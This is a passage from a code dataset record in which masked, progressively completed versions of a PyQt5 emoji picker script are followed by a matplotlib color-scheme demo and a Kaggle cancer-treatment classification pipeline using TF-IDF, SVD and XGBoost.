QVBoxLayout()\n global layoutStack\n layoutStack = QStackedLayout()\n layoutStackWidget = QWidget()\n layoutStackWidget.setLayout(layoutStack)\n scrollArea = QScrollArea()\n gridWidget = QWidget()\n global emojiGridLayout\n emojiGridLayout = QGridLayout(gridWidget)\n emojiGridLayout.setAlignment(Qt.AlignTop | Qt.AlignLeft)\n for col in range(emojiGridColumnCount):\n emojiGridLayout.setColumnStretch(col, 1)\n for row in range(emojiGridRowCount):\n emojiGridLayout.setRowStretch(row, 1)\n scrollArea.setWidget(gridWidget)\n scrollArea.setWidgetResizable(True)\n layoutStack.addWidget(scrollArea)\n noEmojiFoundLabel = QLabel('No emoji found 🙁')\n noEmojiFoundLabel.setAlignment(Qt.AlignCenter | Qt.AlignHCenter |\n Qt.AlignVCenter)\n layoutStack.addWidget(noEmojiFoundLabel)\n layout.addWidget(layoutStackWidget)\n fill_grid_with_history()\n lineEdit = QLineEditWithArrows()\n lineEdit.textChanged.connect(execute_search)\n layout.addWidget(lineEdit)\n layout.setAlignment(lineEdit, Qt.AlignBottom)\n self.setLayout(layout)\n self.setWindowTitle(self.title)\n self.setGeometry(self.left, self.top, self.width, self.height)\n self.setFixedSize(self.width, self.height)\n self.setWindowFlags(Qt.FramelessWindowHint | Qt.WindowStaysOnTopHint)\n global mainWindow\n mainWindow = self\n self.keyPressed.connect(on_key)\n self.show()\n lineEdit.setFocus()\n\n def initSettings(self):\n global settingsFile\n global historyList\n settingsFile = QSettings('emoji-picker-qtpy', 'history')\n historyList = settingsFile.value('history/history')\n keyPressed = pyqtSignal(int)\n\n def keyPressEvent(self, event):\n super(EmojiPickerWindow, self).keyPressEvent(event)\n self.keyPressed.emit(event.key())\n global willExitOnItsOwn\n\n def eventFilter(self, object, event):\n if event.type() == QEvent.WindowDeactivate or event.type(\n ) == QEvent.FocusOut:\n if not willExitOnItsOwn:\n quitNicely()\n return False\n\n\nclass QClickableLabel(QLabel):\n clicked = pyqtSignal(str)\n\n def __init__(self, parent=None):\n QLabel.__init__(self, parent)\n\n def mousePressEvent(self, ev):\n self.clicked.emit(self.text())\n\n def enterEvent(self, ev):\n emoji_hovered(self)\n\n\nclass QLineEditWithArrows(QLineEdit):\n\n def keyPressEvent(self, ev):\n global selectedEmojiChar\n global foundAnyEmoji\n if ev.key() == Qt.Key_Right:\n move_selection('right')\n if ev.key() == Qt.Key_Left:\n move_selection('left')\n if ev.key() == Qt.Key_Up:\n move_selection('up')\n if ev.key() == Qt.Key_Down:\n move_selection('down')\n if ev.key() == Qt.Key_Return or ev.key() == Qt.Key_Enter:\n if foundAnyEmoji:\n execute_emoji(selectedEmojiChar)\n else:\n quitNicely()\n if ev.key() == Qt.Key_Tab:\n pass\n else:\n QLineEdit.keyPressEvent(self, ev)\n\n\n<mask token>\n",
"step-4": "<mask token>\n\n\ndef quitNicely():\n mainWindow.hide()\n quit()\n\n\ndef mousePosition():\n pointerData = display.Display().screen().root.query_pointer()._data\n return pointerData['root_x'], pointerData['root_y']\n\n\ndef execute_emoji(char):\n add_char_to_history(char)\n global willExitOnItsOwn\n willExitOnItsOwn = True\n mainWindow.hide()\n QApplication.clipboard().setText(char)\n pyautogui.hotkey('ctrl', 'v')\n QtTest.QTest.qWait(250)\n quit()\n\n\ndef fill_grid_with_char_list(charList):\n global emojiToShowCount\n global fullRowsCount\n global lastRowEmojiCount\n emojiToShowCount = min(len(charList), emojiGridColumnCount *\n emojiGridRowCount)\n fullRowsCount = emojiToShowCount // emojiGridColumnCount\n lastRowEmojiCount = emojiToShowCount % emojiGridColumnCount\n global foundAnyEmoji\n if emojiToShowCount > 0:\n foundAnyEmoji = True\n layoutStack.setCurrentIndex(0)\n else:\n foundAnyEmoji = False\n layoutStack.setCurrentIndex(1)\n global emojiGridLayout\n for i in reversed(range(emojiGridLayout.count())):\n emojiGridLayout.itemAt(i).widget().setParent(None)\n rowIdx = 0\n colIdx = 0\n for emoji in charList:\n if rowIdx > emojiGridRowCount - 1:\n break\n label = QClickableLabel(emoji)\n label.clicked.connect(execute_emoji)\n label.setFont(font)\n label.setAlignment(Qt.AlignCenter)\n label.setMinimumHeight(49)\n emojiGridLayout.addWidget(label, rowIdx, colIdx)\n emojiGridLayout.setAlignment(label, Qt.AlignTop)\n if colIdx < emojiGridColumnCount - 1:\n colIdx += 1\n else:\n colIdx = 0\n rowIdx += 1\n emojiGridLayout.setContentsMargins(0, 0, 0, 0)\n emojiGridLayout.setHorizontalSpacing(0)\n emojiGridLayout.setVerticalSpacing(0)\n if emojiToShowCount > 0:\n highlight_emoji([0, 0])\n\n\ndef execute_search(text):\n selectedEmoji = 0, 0\n if not text or text.isspace():\n fill_grid_with_history()\n return\n foundEmoji = edp.find_by_name(text)\n charList = [emoji.char for emoji in foundEmoji]\n fill_grid_with_char_list(charList)\n\n\ndef emoji_hovered(hoveredLabel):\n parentGrid = hoveredLabel.parentWidget().layout()\n hoveredIndex = parentGrid.indexOf(hoveredLabel)\n hoveredRow, hoveredColumn, _, _ = parentGrid.getItemPosition(hoveredIndex)\n highlight_emoji([hoveredRow, hoveredColumn])\n\n\ndef highlight_emoji(newPosition):\n global selectedEmojiPosition\n if lastRowEmojiCount == 0:\n if newPosition[0] < 0:\n newPosition[0] = fullRowsCount - 1\n elif newPosition[1] < 0:\n newPosition[1] = emojiGridColumnCount - 1\n elif newPosition[0] > fullRowsCount - 1:\n newPosition[0] = 0\n elif newPosition[1] > emojiGridColumnCount - 1:\n newPosition[1] = 0\n elif newPosition[0] < fullRowsCount and newPosition[1\n ] > emojiGridColumnCount - 1:\n newPosition[1] = 0\n elif newPosition[0] < fullRowsCount and newPosition[1] < 0:\n newPosition[1] = emojiGridColumnCount - 1\n elif newPosition[0] == fullRowsCount and newPosition[1\n ] > lastRowEmojiCount - 1 and selectedEmojiPosition[0] - newPosition[0\n ] == 0:\n newPosition[1] = 0\n elif newPosition[0] >= fullRowsCount and newPosition[1] < 0:\n newPosition[1] = lastRowEmojiCount - 1\n elif newPosition[0] > fullRowsCount and newPosition[1] < lastRowEmojiCount:\n newPosition[0] = 0\n elif newPosition[0] < 0 and newPosition[1] < lastRowEmojiCount:\n newPosition[0] = fullRowsCount\n elif newPosition[0] > fullRowsCount - 1 and newPosition[1\n ] > lastRowEmojiCount - 1:\n newPosition[0] = 0\n elif newPosition[0] < 0 and newPosition[1] > lastRowEmojiCount - 1:\n newPosition[0] = fullRowsCount - 1\n oldPosition = selectedEmojiPosition\n selectedEmojiPosition = newPosition\n widgetToDeselect = emojiGridLayout.itemAtPosition(oldPosition[0],\n oldPosition[1])\n if widgetToDeselect:\n widgetToDeselect = widgetToDeselect.widget()\n widgetToDeselect.setStyleSheet('')\n global selectedEmojiChar\n widgetToSelect = emojiGridLayout.itemAtPosition(selectedEmojiPosition[0\n ], selectedEmojiPosition[1])\n if widgetToSelect:\n widgetToSelect = widgetToSelect.widget()\n selectedEmojiChar = widgetToSelect.text()\n widgetToSelect.setStyleSheet(\n 'QLabel{background-color: palette(highlight);}')\n\n\n<mask token>\n\n\ndef on_key(key):\n if key == Qt.Key_Escape:\n quitNicely()\n\n\ndef add_char_to_history(char):\n global settingsFile\n global historyList\n if not historyList:\n historyList = [char]\n else:\n if char in historyList:\n historyList.remove(char)\n tempList = [char]\n tempList.extend(historyList)\n historyList = tempList[:emojiGridColumnCount * emojiGridRowCount]\n settingsFile.setValue('history/history', historyList)\n\n\ndef fill_grid_with_history():\n fill_grid_with_char_list(historyList)\n\n\nclass EmojiPickerWindow(QWidget):\n\n def __init__(self):\n super().__init__()\n self.installEventFilter(self)\n self.title = 'Emoji picker ＼(^o^)／'\n self.width = 281\n self.height = 251\n self.left, self.top = mousePosition()\n self.left -= self.width // 2\n self.top += 24 - self.height\n self.initSettings()\n self.initUI()\n\n def initUI(self):\n layout = QVBoxLayout()\n global layoutStack\n layoutStack = QStackedLayout()\n layoutStackWidget = QWidget()\n layoutStackWidget.setLayout(layoutStack)\n scrollArea = QScrollArea()\n gridWidget = QWidget()\n global emojiGridLayout\n emojiGridLayout = QGridLayout(gridWidget)\n emojiGridLayout.setAlignment(Qt.AlignTop | Qt.AlignLeft)\n for col in range(emojiGridColumnCount):\n emojiGridLayout.setColumnStretch(col, 1)\n for row in range(emojiGridRowCount):\n emojiGridLayout.setRowStretch(row, 1)\n scrollArea.setWidget(gridWidget)\n scrollArea.setWidgetResizable(True)\n layoutStack.addWidget(scrollArea)\n noEmojiFoundLabel = QLabel('No emoji found 🙁')\n noEmojiFoundLabel.setAlignment(Qt.AlignCenter | Qt.AlignHCenter |\n Qt.AlignVCenter)\n layoutStack.addWidget(noEmojiFoundLabel)\n layout.addWidget(layoutStackWidget)\n fill_grid_with_history()\n lineEdit = QLineEditWithArrows()\n lineEdit.textChanged.connect(execute_search)\n layout.addWidget(lineEdit)\n layout.setAlignment(lineEdit, Qt.AlignBottom)\n self.setLayout(layout)\n self.setWindowTitle(self.title)\n self.setGeometry(self.left, self.top, self.width, self.height)\n self.setFixedSize(self.width, self.height)\n self.setWindowFlags(Qt.FramelessWindowHint | Qt.WindowStaysOnTopHint)\n global mainWindow\n mainWindow = self\n self.keyPressed.connect(on_key)\n self.show()\n lineEdit.setFocus()\n\n def initSettings(self):\n global settingsFile\n global historyList\n settingsFile = QSettings('emoji-picker-qtpy', 'history')\n historyList = settingsFile.value('history/history')\n keyPressed = pyqtSignal(int)\n\n def keyPressEvent(self, event):\n super(EmojiPickerWindow, self).keyPressEvent(event)\n self.keyPressed.emit(event.key())\n global willExitOnItsOwn\n\n def eventFilter(self, object, event):\n if event.type() == QEvent.WindowDeactivate or event.type(\n ) == QEvent.FocusOut:\n if not willExitOnItsOwn:\n quitNicely()\n return False\n\n\nclass QClickableLabel(QLabel):\n clicked = pyqtSignal(str)\n\n def __init__(self, parent=None):\n QLabel.__init__(self, parent)\n\n def mousePressEvent(self, ev):\n self.clicked.emit(self.text())\n\n def enterEvent(self, ev):\n emoji_hovered(self)\n\n\nclass QLineEditWithArrows(QLineEdit):\n\n def keyPressEvent(self, ev):\n global selectedEmojiChar\n global foundAnyEmoji\n if ev.key() == Qt.Key_Right:\n move_selection('right')\n if ev.key() == Qt.Key_Left:\n move_selection('left')\n if ev.key() == Qt.Key_Up:\n move_selection('up')\n if ev.key() == Qt.Key_Down:\n move_selection('down')\n if ev.key() == Qt.Key_Return or ev.key() == Qt.Key_Enter:\n if foundAnyEmoji:\n execute_emoji(selectedEmojiChar)\n else:\n quitNicely()\n if ev.key() == Qt.Key_Tab:\n pass\n else:\n QLineEdit.keyPressEvent(self, ev)\n\n\n<mask token>\n",
"step-5": "#!/usr/bin/python\n# Copyright (c) 2020 Maryushi3\n\nimport emoji_data_python as edp\nimport sys\nimport pyautogui\nfrom Xlib import display\nfrom PyQt5.QtWidgets import QApplication, QGridLayout, QLabel, QLineEdit, QScrollArea, QSizePolicy, QStackedLayout, QVBoxLayout, QWidget\nfrom PyQt5.QtCore import QEvent, QSettings, Qt, pyqtSignal\nfrom PyQt5.QtGui import QFont\nfrom PyQt5 import QtTest\n\n\n# globals\nemojiGridLayout = None\nmainWindow = None\nemojiGridColumnCount = 5\nemojiGridRowCount = 4\nemojiToShowCount = 0\nfullRowsCount = 0\nlastRowEmojiCount = 0\nemojiFontSize = 20\nselectedEmojiPosition = list((0,0))\nwillExitOnItsOwn = False\nselectedEmojiChar=''\nsettingsFile = None\nhistoryList = []\nfoundAnyEmoji = True\nlayoutStack = None\n\nfont = QFont()\nfont.setPointSize(emojiFontSize)\n\n# quits without a lag\ndef quitNicely():\n mainWindow.hide()\n quit()\n\n# gets mouse position from Xlib\ndef mousePosition():\n pointerData = display.Display().screen().root.query_pointer()._data\n return pointerData[\"root_x\"], pointerData[\"root_y\"]\n\n# copies and pastes selected emoji\ndef execute_emoji(char):\n add_char_to_history(char)\n global willExitOnItsOwn\n willExitOnItsOwn = True\n mainWindow.hide()\n QApplication.clipboard().setText(char)\n pyautogui.hotkey(\"ctrl\",\"v\")\n QtTest.QTest.qWait(250)\n quit()\n\n# fills grid with given char list and takes care of layout and counting\ndef fill_grid_with_char_list(charList):\n\n # for wraparound\n global emojiToShowCount\n global fullRowsCount\n global lastRowEmojiCount\n emojiToShowCount = min(len(charList),(emojiGridColumnCount*emojiGridRowCount))\n fullRowsCount = emojiToShowCount//emojiGridColumnCount\n lastRowEmojiCount = emojiToShowCount%emojiGridColumnCount\n \n global foundAnyEmoji\n if emojiToShowCount>0:\n foundAnyEmoji = True\n layoutStack.setCurrentIndex(0)\n else:\n foundAnyEmoji = False\n layoutStack.setCurrentIndex(1)\n\n\n # clear grid\n global emojiGridLayout\n for i in reversed(range(emojiGridLayout.count())): \n emojiGridLayout.itemAt(i).widget().setParent(None)\n\n # fill with new chars\n rowIdx = 0\n colIdx = 0\n for emoji in charList:\n if rowIdx>emojiGridRowCount-1:\n break;\n\n label = QClickableLabel(emoji)\n label.clicked.connect(execute_emoji)\n label.setFont(font)\n label.setAlignment(Qt.AlignCenter)\n label.setMinimumHeight(49)\n emojiGridLayout.addWidget(label,rowIdx,colIdx)\n emojiGridLayout.setAlignment(label,Qt.AlignTop)\n if colIdx < emojiGridColumnCount-1:\n colIdx+=1\n else:\n colIdx=0\n rowIdx+=1\n\n emojiGridLayout.setContentsMargins(0,0,0,0)\n emojiGridLayout.setHorizontalSpacing(0)\n emojiGridLayout.setVerticalSpacing(0)\n\n if emojiToShowCount>0:\n highlight_emoji([0,0])\n\n# searches for emoji, and passes them to fill_grid_with_char_list\ndef execute_search(text):\n selectedEmoji = (0,0)\n if not text or text.isspace():\n fill_grid_with_history()\n return\n\n foundEmoji = edp.find_by_name(text)\n charList = [emoji.char for emoji in foundEmoji]\n\n fill_grid_with_char_list(charList)\n\n# handles what to do after hovering over a given label\ndef emoji_hovered(hoveredLabel):\n parentGrid = hoveredLabel.parentWidget().layout()\n hoveredIndex = parentGrid.indexOf(hoveredLabel)\n hoveredRow, hoveredColumn, _, _ = parentGrid.getItemPosition(hoveredIndex)\n highlight_emoji([hoveredRow,hoveredColumn])\n\n# selects, sets style and handles wraparound\ndef highlight_emoji(newPosition):\n global selectedEmojiPosition\n\n # grid is filled to a full rectangle (last row fills the window horizontally)\n if lastRowEmojiCount==0:\n if newPosition[0]<0:\n newPosition[0]=fullRowsCount-1\n elif newPosition[1]<0:\n newPosition[1]=emojiGridColumnCount-1\n elif newPosition[0]>fullRowsCount-1:\n newPosition[0]=0\n elif newPosition[1]>emojiGridColumnCount-1:\n newPosition[1]=0\n # last row is not full\n else:\n #horizontal wraparound through RIGHT edge for full rows\n if (newPosition[0]<fullRowsCount) and (newPosition[1]>emojiGridColumnCount-1):\n newPosition[1]=0\n #horizontal wraparound through LEFT edge for full rows\n elif (newPosition[0]<fullRowsCount) and (newPosition[1]<0):\n newPosition[1]=emojiGridColumnCount-1\n #horizontal wraparound through right edge for NON FULL rows\n elif (newPosition[0]==fullRowsCount) and (newPosition[1]>lastRowEmojiCount-1) and ((selectedEmojiPosition[0]-newPosition[0])==0):\n newPosition[1]=0\n #horizontal wraparound through LEFT edge for NON FULL rows\n elif (newPosition[0]>=fullRowsCount) and (newPosition[1]<0):\n newPosition[1]=lastRowEmojiCount-1\n #vertical wraparound through BOTTOM edge for full cols\n elif (newPosition[0]>fullRowsCount) and (newPosition[1]<lastRowEmojiCount):\n newPosition[0]=0\n #vertical wraparound through TOP edge for full cols\n elif (newPosition[0]<0) and (newPosition[1]<lastRowEmojiCount):\n newPosition[0]=fullRowsCount\n #vertical wraparound through BOTTOM edge for NON FULL cols\n elif (newPosition[0]>fullRowsCount-1) and (newPosition[1]>lastRowEmojiCount-1):\n newPosition[0]=0\n #vertical wraparound through TOP edge for NON FULL cols\n elif (newPosition[0]<0) and (newPosition[1]>lastRowEmojiCount-1):\n newPosition[0]=fullRowsCount-1\n\n oldPosition = selectedEmojiPosition\n selectedEmojiPosition = newPosition\n \n widgetToDeselect = emojiGridLayout.itemAtPosition(oldPosition[0],oldPosition[1])\n if widgetToDeselect:\n widgetToDeselect = widgetToDeselect.widget()\n widgetToDeselect.setStyleSheet(\"\")\n\n global selectedEmojiChar\n widgetToSelect = emojiGridLayout.itemAtPosition(selectedEmojiPosition[0],selectedEmojiPosition[1])\n if widgetToSelect:\n widgetToSelect = widgetToSelect.widget()\n selectedEmojiChar = widgetToSelect.text()\n widgetToSelect.setStyleSheet(\"QLabel{background-color: palette(highlight);}\")\n \n# handles direction where to move emoji selection\ndef move_selection(direction):\n if direction==\"right\":\n highlight_emoji([sum(x) for x in zip(selectedEmojiPosition, [0,1])])\n elif direction==\"left\":\n highlight_emoji([sum(x) for x in zip(selectedEmojiPosition, [0,-1])])\n elif direction==\"up\":\n highlight_emoji([sum(x) for x in zip(selectedEmojiPosition, [-1,0])])\n elif direction==\"down\":\n highlight_emoji([sum(x) for x in zip(selectedEmojiPosition, [1,0])])\n\n# handles Esc\ndef on_key(key):\n # test for a specific key\n if key == Qt.Key_Escape:\n quitNicely()\n\n# adds given emoji to history and saves it to config file\ndef add_char_to_history(char):\n global settingsFile\n global historyList\n if not historyList:\n historyList = [char]\n else:\n if char in historyList:\n historyList.remove(char)\n \n tempList = [char]\n tempList.extend(historyList)\n historyList = tempList[:(emojiGridColumnCount*emojiGridRowCount)] \n \n settingsFile.setValue('history/history',historyList)\n\n# wrapper around filling the grid\ndef fill_grid_with_history():\n fill_grid_with_char_list(historyList)\n\n# main app window class with inits\nclass EmojiPickerWindow(QWidget):\n\n def __init__(self):\n super().__init__()\n\n # focus handling\n self.installEventFilter(self)\n\n self.title = 'Emoji picker ＼(^o^)／'\n self.width = 281\n self.height = 251\n\n # start with text box centered at mouse pointer position\n self.left, self.top = mousePosition() \n self.left -= self.width//2\n self.top += (24-self.height)\n\n self.initSettings()\n self.initUI()\n \n def initUI(self):\n # topmost window layout \n layout = QVBoxLayout() \n\n global layoutStack\n layoutStack = QStackedLayout()\n layoutStackWidget = QWidget()\n layoutStackWidget.setLayout(layoutStack)\n\n # scroll area setup shenanigans\n scrollArea = QScrollArea() \n gridWidget = QWidget()\n global emojiGridLayout\n emojiGridLayout = QGridLayout(gridWidget)\n emojiGridLayout.setAlignment(Qt.AlignTop | Qt.AlignLeft)\n\n\n\n # stretch grid to widget\n for col in range(emojiGridColumnCount):\n emojiGridLayout.setColumnStretch(col,1)\n for row in range(emojiGridRowCount):\n emojiGridLayout.setRowStretch(row,1)\n\n scrollArea.setWidget(gridWidget)\n scrollArea.setWidgetResizable(True)\n layoutStack.addWidget(scrollArea)\n\n # info to show when no emoji has been found\n noEmojiFoundLabel = QLabel(\"No emoji found 🙁\")\n noEmojiFoundLabel.setAlignment(Qt.AlignCenter | Qt.AlignHCenter | Qt.AlignVCenter)\n layoutStack.addWidget(noEmojiFoundLabel) \n layout.addWidget(layoutStackWidget)\n\n # fill with a placeholder for now (smiling or smile)\n # execute_search('smil')\n fill_grid_with_history()\n # bottom text entry\n lineEdit = QLineEditWithArrows() \n lineEdit.textChanged.connect(execute_search)\n layout.addWidget(lineEdit)\n\n # align it to the bottom, so that it won't stay centered vertically\n layout.setAlignment(lineEdit, Qt.AlignBottom)\n\n\n self.setLayout(layout)\n self.setWindowTitle(self.title)\n self.setGeometry(self.left, self.top, self.width, self.height)\n self.setFixedSize(self.width, self.height)\n self.setWindowFlags(Qt.FramelessWindowHint | Qt.WindowStaysOnTopHint)\n\n # needed for filling the grid out from the outside\n global mainWindow\n mainWindow = self\n\n # esc handling\n self.keyPressed.connect(on_key)\n\n self.show()\n lineEdit.setFocus()\n \n def initSettings(self):\n global settingsFile\n global historyList\n settingsFile = QSettings(\"emoji-picker-qtpy\", \"history\");\n historyList = settingsFile.value('history/history')\n\n # key handling\n keyPressed = pyqtSignal(int)\n def keyPressEvent(self, event):\n super(EmojiPickerWindow, self).keyPressEvent(event)\n self.keyPressed.emit(event.key())\n\n # focus handling\n global willExitOnItsOwn\n def eventFilter(self, object, event):\n if event.type()== QEvent.WindowDeactivate or event.type()== QEvent.FocusOut:\n if (not willExitOnItsOwn):\n quitNicely()\n return False\n\n# clickable label\nclass QClickableLabel(QLabel):\n clicked=pyqtSignal(str)\n def __init__(self, parent=None):\n QLabel.__init__(self, parent)\n\n def mousePressEvent(self, ev):\n self.clicked.emit(self.text()) \n\n def enterEvent(self, ev):\n emoji_hovered(self)\n\n# keyboard handling override for QlineEdit\nclass QLineEditWithArrows(QLineEdit):\n def keyPressEvent(self, ev):\n global selectedEmojiChar\n global foundAnyEmoji\n if(ev.key() == Qt.Key_Right):\n move_selection(\"right\")\n if(ev.key() == Qt.Key_Left):\n move_selection(\"left\")\n if(ev.key() == Qt.Key_Up):\n move_selection(\"up\")\n if(ev.key() == Qt.Key_Down):\n move_selection(\"down\")\n if(ev.key() == Qt.Key_Return or ev.key() == Qt.Key_Enter):\n if foundAnyEmoji:\n execute_emoji(selectedEmojiChar)\n else:\n quitNicely()\n if(ev.key() == Qt.Key_Tab):\n pass\n else:\n QLineEdit.keyPressEvent(self,ev)\n \nif __name__ == '__main__':\n app = QApplication(sys.argv)\n ex = EmojiPickerWindow()\n sys.exit(app.exec_())\n",
"step-ids": [
17,
19,
21,
24,
29
]
}
|
[
17,
19,
21,
24,
29
] |
from ScientificColorschemez import Colorschemez
import matplotlib.pyplot as plt
cs = Colorschemez.latest()
for name, hexcode in zip(cs.colornames, cs.colors):
print('%s: %s' % (hexcode, name))
fig, ax = plt.subplots()
cs.example_plot(ax)
fig.savefig('latest.png', dpi=200, bbox_inches='tight')
|
normal
|
{
"blob_id": "7106a8ddbec60ce4b7d9e8e5ce8d7df02e5f7222",
"index": 6854,
"step-1": "<mask token>\n",
"step-2": "<mask token>\nfor name, hexcode in zip(cs.colornames, cs.colors):\n print('%s: %s' % (hexcode, name))\n<mask token>\ncs.example_plot(ax)\nfig.savefig('latest.png', dpi=200, bbox_inches='tight')\n",
"step-3": "<mask token>\ncs = Colorschemez.latest()\nfor name, hexcode in zip(cs.colornames, cs.colors):\n print('%s: %s' % (hexcode, name))\nfig, ax = plt.subplots()\ncs.example_plot(ax)\nfig.savefig('latest.png', dpi=200, bbox_inches='tight')\n",
"step-4": "from ScientificColorschemez import Colorschemez\nimport matplotlib.pyplot as plt\ncs = Colorschemez.latest()\nfor name, hexcode in zip(cs.colornames, cs.colors):\n print('%s: %s' % (hexcode, name))\nfig, ax = plt.subplots()\ncs.example_plot(ax)\nfig.savefig('latest.png', dpi=200, bbox_inches='tight')\n",
"step-5": null,
"step-ids": [
0,
1,
2,
3
]
}
|
[
0,
1,
2,
3
] |
####################################################################################
#
# Kaggle Competition: https://www.kaggle.com/c/msk-redefining-cancer-treatment
# Sponsor : Memorial Sloan Kettering Cancer Center (MSKCC)
# Author: Amrut Shintre
#
####################################################################################
#####################
# Importing Libraries
#####################
import numpy as np
import pandas as pd
import matplotlib as plt
import re
import nltk
nltk.download('stopwords')
from nltk.corpus import stopwords
from nltk.stem.porter import PorterStemmer
from sklearn.feature_extraction.text import TfidfVectorizer
from sklearn.decomposition import TruncatedSVD
from sklearn.preprocessing import LabelEncoder
from sklearn.preprocessing import StandardScaler
import xgboost as xgb
from sklearn.model_selection import train_test_split
from sklearn import metrics
import gc
import random
####################
# Importing datasets
####################
# Training Dataset
train_df = pd.read_csv('training_text', sep = '\|\|', engine = 'python', names = ['ID', 'Text'],
header = None)
train_df = train_df.iloc[1:,:]
train_df.index = range(len(train_df))
train_var = pd.read_csv('training_variants')
# Testing Dataset
test_df = pd.read_csv('test_text', sep = '\|\|', engine = 'python', names = ['ID', 'Text'],
header = None)
test_var = pd.read_csv('test_variants')
# --------------------------------------------TEXT ---------------------------------------------
##############
# TextCleaning
##############
def text_cleaning(text_df):
corpus = []
for i in range(len(text_df)):
text = re.sub('[^a-zA-Z]', ' ', text_df['Text'][i]) # Removing punctuation marks,
#numbers, etc and returning only letters
text = text.lower() # Converting all the uppercase letters to lowercase
text = text.split() # Splitting a sentence into a list of strings containing a single word.
ps = PorterStemmer() # Stemming e.g. lovely -> love
text = [ps.stem(word) for word in text if not word in set(stopwords.words('english'))]
text = ' '.join(text) # Joining the cleaned words
corpus.append(text) # Appending it to the new list.
return (corpus)
# Training Text Data
corpus_train = text_cleaning(train_df)
# Testing Text Data
corpus_test = text_cleaning(test_df)
#############################################
# Term Frequency - Inverse Document Frequency
#############################################
tfidf = TfidfVectorizer()
tfidf_tr = tfidf.fit_transform(corpus_train).toarray()
tfidf_test = tfidf.transform(corpus_test).toarray()
##############################
# Singular Value Decomposition
##############################
svd = TruncatedSVD(n_components = 1000) # considering 98% variance in the Data
svd_tr = svd.fit_transform(tfidf_tr) # Fitting on cleaned training text data
svd_train = svd.transform(tfidf_test) # Transforming on cleaned testing text data
svd_tr = pd.DataFrame(svd_tr)
svd_test = pd.DataFrame(svd_train)
#explainedvar = svd.explained_variance_ratio_
#exp_var = explainedvar.cumsum()
# -------------------------------------------- VARIANTS ---------------------------------------------
####################
# Dependent Variable
####################
y = train_var['Class'].values
y = y-1
#################
# Merging Dataset
#################
# Merging the dataset for data preparation and feature engineering
df = pd.concat([train_var, test_var], axis = 0)
df = df.drop(['ID'], axis = 1)
df['ID'] = range(df.shape[0])
df.index = range(df.shape[0])
df_text = pd.concat([train_df, test_df], axis = 0)
df_text = df_text.drop('ID', axis = 1)
df_text['ID'] = range(df_text.shape[0])
df_text.index = range(df_text.shape[0])
df_all = pd.merge(df, df_text, how = 'left', on = 'ID')
################
# Missing Values
################
# Checking for missing values
column_list = train_var.columns.values.tolist()
missing_values = pd.DataFrame()
missing_values['Columns'] = column_list
for i in column_list:
missing_values['No. of missing values'] = train_var[i].isnull().values.ravel().sum()
# There are no missing values.
#######################
# Categorical Variables
#######################
# Extracting the columns having categorical Variables.
column_list = df.columns
categorical_columns = []
for i in column_list:
if df[i].dtype == 'O':
categorical_columns.append(i)
# Encoding the columns with categorical variables
# Label Encoding
for i in categorical_columns:
le = LabelEncoder()
df[i + '_le'] = le.fit_transform(df[i])
df[i + '_length'] = df[i].map(lambda x: len(str(x)))
# Feature Engineering
df_all['Gene_Share'] = df_all.apply(lambda r: sum([1 for w in r['Gene'].split(' ') if w in r['Text'].split(' ')]), axis=1)
df_all['Variation_Share'] = df_all.apply(lambda r: sum([1 for w in r['Variation'].split(' ') if w in r['Text'].split(' ')]), axis=1)
###################
# Splitting Dataset
###################
train = df_all.iloc[:len(train_var), :]
test = df_all.iloc[len(train_var):,:]
test.index = range(len(test_var))
train = train.drop(['Gene', 'Variation', 'ID', 'Text', 'Class'], axis = 1)
test = test.drop(['Gene', 'Variation', 'Text', 'ID', 'Class'], axis = 1)
train_final = pd.concat([train, svd_tr], axis = 1)
test_final = pd.concat([test, svd_test], axis = 1)
#################
# Standardization
#################
sc = StandardScaler()
train_final = sc.fit_transform(train_final)
test_final = sc.transform(test_final)
train_final = pd.DataFrame(train_final)
test_final = pd.DataFrame(test_final)
# -------------------------------------------- MODEL ---------------------------------------------
##################
# XGBoost Matrix
##################
dtrain = xgb.DMatrix(train_final, y)
dtest = xgb.DMatrix(test_final)
##################
# Cross-Validation
##################
def docv(param, iterations, nfold):
model_CV = xgb.cv(
params = param,
num_boost_round = iterations,
nfold = nfold,
dtrain = dtrain,
seed = random.randint(1, 10000),
early_stopping_rounds = 100,
maximize = False,
verbose_eval = 50)
gc.collect()
best = min(model_CV['test-mlogloss-mean'])
best_iter = model_CV.shape[0]
print (best)
return (best_iter)
#########
# Testing
#########
def doTest(param, iteration):
X_tr, X_val, y_tr, y_val = train_test_split(train_final, y, test_size = 0.2, random_state = random.randint(1,1000))
watchlist = [(xgb.DMatrix(X_tr, y_tr), 'train'), (xgb.DMatrix(X_val, y_val), 'validation')]
model = xgb.train(
params = param,
dtrain = xgb.DMatrix(X_tr, y_tr),
num_boost_round = iteration,
evals = watchlist,
verbose_eval = 50,
early_stopping_rounds = 100)
score = metrics.log_loss(y_val, model.predict(xgb.DMatrix(X_val)), labels = range(9))
predicted_class = model.predict(dtest)
print (score)
return (predicted_class)
#########
# Bagging
#########
def Bagging(N, params, best_iter):
for i in range(N):
param = params
p = doTest(param, best_iter)
if i == 0:
preds = p.copy()
else:
preds = preds + p
predictions = preds/N
predictions = pd.DataFrame(predictions)
return (predictions)
###################
# Running the Model
###################
params = {
'eta': 0.02,
'max_depth': 6,
'objective': 'multi:softprob',
'eval_metric': 'mlogloss',
'silent': False,
'seed': random.randint(1,100),
'num_class': 9
}
cross_vali = docv(params, 10000, 5)
predicted_class = Bagging(5, params, cross_vali)
# -------------------------------------------- SUBMISSION ---------------------------------------------
sub_file = pd.DataFrame()
sub_file['ID'] = test_var['ID'].values
Sub_File = pd.concat([sub_file, predicted_class], axis = 1)
Sub_File.columns = ['ID', 'Class1', 'Class2', 'Class3', 'Class4', 'Class5', 'Class6', 'Class7',
'Class8', 'Class9']
Sub_File.to_csv("submission33.csv", index = False)
# -------------------------------------------- Project Layout ---------------------------------------------
# 1) Text Cleaning
# 2) TFIDF Vectorizer and Singular Value Decomposition
# 3) Feature Engineering
# 4) Building a Model and trying out different models
# 5) Parameter Tuning
# 6) Bagged Boosting
|
normal
|
{
"blob_id": "1305991a9cd82ddeaffff1545a35ced992e6792f",
"index": 7300,
